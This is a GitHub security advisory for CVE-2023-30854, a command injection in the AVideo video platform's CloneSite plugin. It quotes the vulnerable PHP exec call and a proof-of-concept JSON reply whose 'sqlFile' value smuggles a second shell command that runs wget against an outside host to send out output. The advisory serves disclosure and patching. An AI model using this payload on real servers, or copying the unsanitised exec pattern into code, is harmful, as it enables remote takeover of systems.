GitHub Advisoryadvisory · Packagist
GHSA-6vrj-ph27-qfp3 Remote code injection in wwbn/avideo
HIGH
Official page ↗
- Aliases
- CVE-2023-30854
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2023-04-27
Affected packages
• Packagist wwbn/avideo: < 12.4 → fixed in 12.4
Description
WWBN Avideo Authenticated RCE - OS Command Injection
Description
An OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution.
Vulnerable code:
```php
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
```
We can control `$objClone->cloneSiteURL` through the admin panel clone site feature.
`/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a specially crafted `cloneServer.json.php` that prints the following JSON data
```JSON
{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
```
Send a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.
Related
Alias · CVE (1)
- CVE-2023-30854 AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness